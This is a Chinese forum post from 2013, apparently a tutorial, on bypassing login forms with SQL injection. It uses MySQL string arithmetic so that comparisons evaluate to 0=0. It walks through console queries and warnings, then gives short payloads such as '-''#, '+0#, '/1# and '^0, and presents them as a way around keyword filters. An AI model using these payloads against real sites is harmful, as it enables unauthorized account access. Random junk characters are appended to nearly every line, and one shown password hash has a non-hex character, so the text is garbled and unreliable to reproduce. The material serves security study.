找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2376|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。5 H- ^( c6 }7 k/ a: p8 i
有以下表结构: . F5 h6 {) ~- S; n  X0 e& r5 t$ c

/ L% M2 k0 X# e9 T5 ~mysql> desc admin;
& R1 \% i' H: W+----------+--------------+------+-----+---------+----------------+
" k( W& H  A4 |2 _| Field    | Type         | Null | Key | Default | Extra          |& f: S( ~- d5 J1 n! P. \. z5 K! I
+----------+--------------+------+-----+---------+----------------+0 a) b0 e" N! U) H6 V3 `4 I# Y
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |3 p) a  m- i7 {0 O
| name     | char(32)     | NO   | UNI | NULL    |                |% b2 i) r) a* [7 d( g
| password | char(32)     | NO   | UNI | NULL    |                |( a' R' h) r" Y& p5 d# o1 j
+----------+--------------+------+-----+---------+----------------+
( p- g1 K3 M; ~* F3 rows in set (0.00 sec)1 O6 C2 r2 K2 U* O& ?2 a
执行select * from admin;,成功返回所有记录内容。# a1 V* n7 `( |5 X# A! T4 _
- n1 V7 F4 k" X9 C
' d$ G6 S& w) o0 h9 A- H3 M
+----+--------+----------------------------------+
0 d) d, U1 t# E8 h" k3 W! b; F* _! R| id | name   | password                         |
: R  s. U! Q3 C/ A0 \6 z+----+--------+----------------------------------+5 e. u7 u$ y2 k7 F
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
- @* \2 Y  f6 c, m% l1 p8 ?% R' D6 X6 a# @|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& [# d* N- A, s) Q' f  W( I|  4 | n00b   | ff80e8508d39047460921792273533a4 |  T2 Q9 u/ u6 I4 n; R. N
+----+--------+----------------------------------+
8 k1 K8 \) R  b6 @% R5 E. d3 rows in set (0.00 sec)- l9 {1 Q: j0 x3 o) N
执行select * from admin where name=”;,没有匹配到任何记录。 3 g: Z7 f& M* A6 l
- E$ ~) r5 l. ~  e
mysql> select * from admin where name = '';
. ?3 H6 ~, W; \+ B8 J5 @/ a% G1 [Empty set (0.00 sec)  k, r' d( S0 `6 W: o% s) P, ^
那么我们来执行select * from admin where name = ”-”;
( }( {6 z* c& M* r6 m3 ~9 u1 y2 T

+ U/ V2 ]; c" J9 V7 e4 L+----+--------+----------------------------------+; b% s  X- I8 w8 b# D
| id | name   | password                         |. j# `' z: p9 v% Y4 k! S' r) B
+----+--------+----------------------------------+
8 F5 Q* [2 R$ I1 V( v0 ~! Z# t0 R|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
% V( Q6 N: |- U7 k  u|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 }, |5 x' g( r. l9 L2 @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |! S9 \% D. c# H% X
+----+--------+----------------------------------+
6 }+ }1 r$ @2 e+ V3 rows in set, 3 warnings (0.00 sec)9 ?: G, y. t/ P- [6 F; Y6 Z' |
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
( z" z8 f( c: c  {6 J7 n0 _8 r% W2 q, h% P
mysql> show warnings;- `0 U1 U, l# u" `3 _
+---------+------+------------------------------------------
# _3 ~2 F$ m& ^( T| Level   | Code | Message- w$ F8 z" t0 O& T/ u% ?  S! h7 y
+---------+------+------------------------------------------4 D: q+ {! r9 ]3 I8 p$ X! a
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin( R9 X1 w  B1 `
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ X2 f3 ^$ F) e# a( e/ Z$ p8 B
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
( z4 C5 t# E1 Z9 [; x$ j) X# Q+ i+---------+------+------------------------------------------  m% h5 V/ k  ~9 h/ y& @' N
3 rows in set (0.00 sec)
' W7 I; C+ q. S; i提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 i  s6 e4 T# ~! N

% P$ g& C& o3 P/ R* pmysql> select ''-'';6 c+ c  m+ H8 \" m- ~( l
+-------+
4 v1 w! X; `* N! ~' j  v2 e| ''-'' |
' b6 b4 e) x* G! h  N# y) n+-------+/ P1 ^% f- @  T2 B4 ^: }' a& Y
|     0 |  H  z# Z6 L1 T; f/ L; W  ~4 h2 S
+-------+" b: t4 a% y6 d2 c% d4 l
1 row in set (0.00 sec)$ R1 o' R6 g6 o% s: b( X# R
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
) w2 J. U9 R: i6 E/ X* ]' \9 F& _9 r2 g; h/ X7 s$ i
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);! k- u: e- F5 P* x/ s# A
+-----------------------------------------------------+
. e  ?+ j) R* M  j. p; x  c8 M+ Y) M4 Y| CAST((select name from admin limit 1,1) as DECIMAL) |
& J+ f' q9 m# k+ y+-----------------------------------------------------+
8 B" }. V2 s* F8 A|                                                   0 |
/ r+ D) ^! I' Q. v) g+ \6 {2 _+-----------------------------------------------------+% L. J; p" d. J. u+ G
1 row in set, 1 warning (0.00 sec)
, ?8 U7 L/ c0 s! ]4 Q因此where语句构成了相等的条件,where 0=”=”,记录被返回。
' \$ c/ x' I+ h8 g( X" z. d3 P8 J$ s) y! Y' f0 R, i
SQL注入场景: http://www.sqlzoo.net/hack/
, k3 X+ V% f/ W/ i2 @# x1 s1 x* A/ X5 c0 C1 q$ e) K+ P$ x0 }
* Z* ^- j3 r* c, a& n" r8 U
+ j  `5 }4 z# t6 z: o* d

/ h& ]0 D' z9 I; ^. M2 }0 W. s! t如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ) W' s9 f" ]) a* o0 f
  \3 m! B9 C/ x9 n( J  j
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 6 m7 T* w& z7 `" g* q0 N+ a: p

4 d& o: Q6 D: o" s. s) @
+ C; D* j3 U* A& F  ^* C- V) D* Q- a7 K7 C; O. L
1 L1 H! f% k! F
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。   G4 @8 U/ e* V7 V% T0 G( _9 V

. {# r1 ^3 j8 H8 @   % O7 p. N: Y' Y! [7 h

  i! X' H; w4 J8 Y1 s除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 z: N0 o3 P& ~  ?2 o  `4 V+ e9 H; e  d5 n: }/ _0 o
) w3 T4 r6 Z+ }, I
mysql> select ''/1;
% H: o$ W2 s2 `" f$ L) b+------+
8 C& r6 k- }8 B- y| ''/1 |
6 A) {; K+ p: F# w0 Z+ W+------+
' f- z8 w% B* e/ q|    0 |
1 g# w" V' G8 o' a) H* B! [+------+
/ `- k! N0 J: J% Y1 row in set (0.00 sec)
  O6 T* _- {% f# [- ^7 n类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  ! a! X- e; e) r1 ?% \: p3 g6 {' a9 |
% x- r: Q& e7 k2 g
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
: p( ]$ p( p  r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表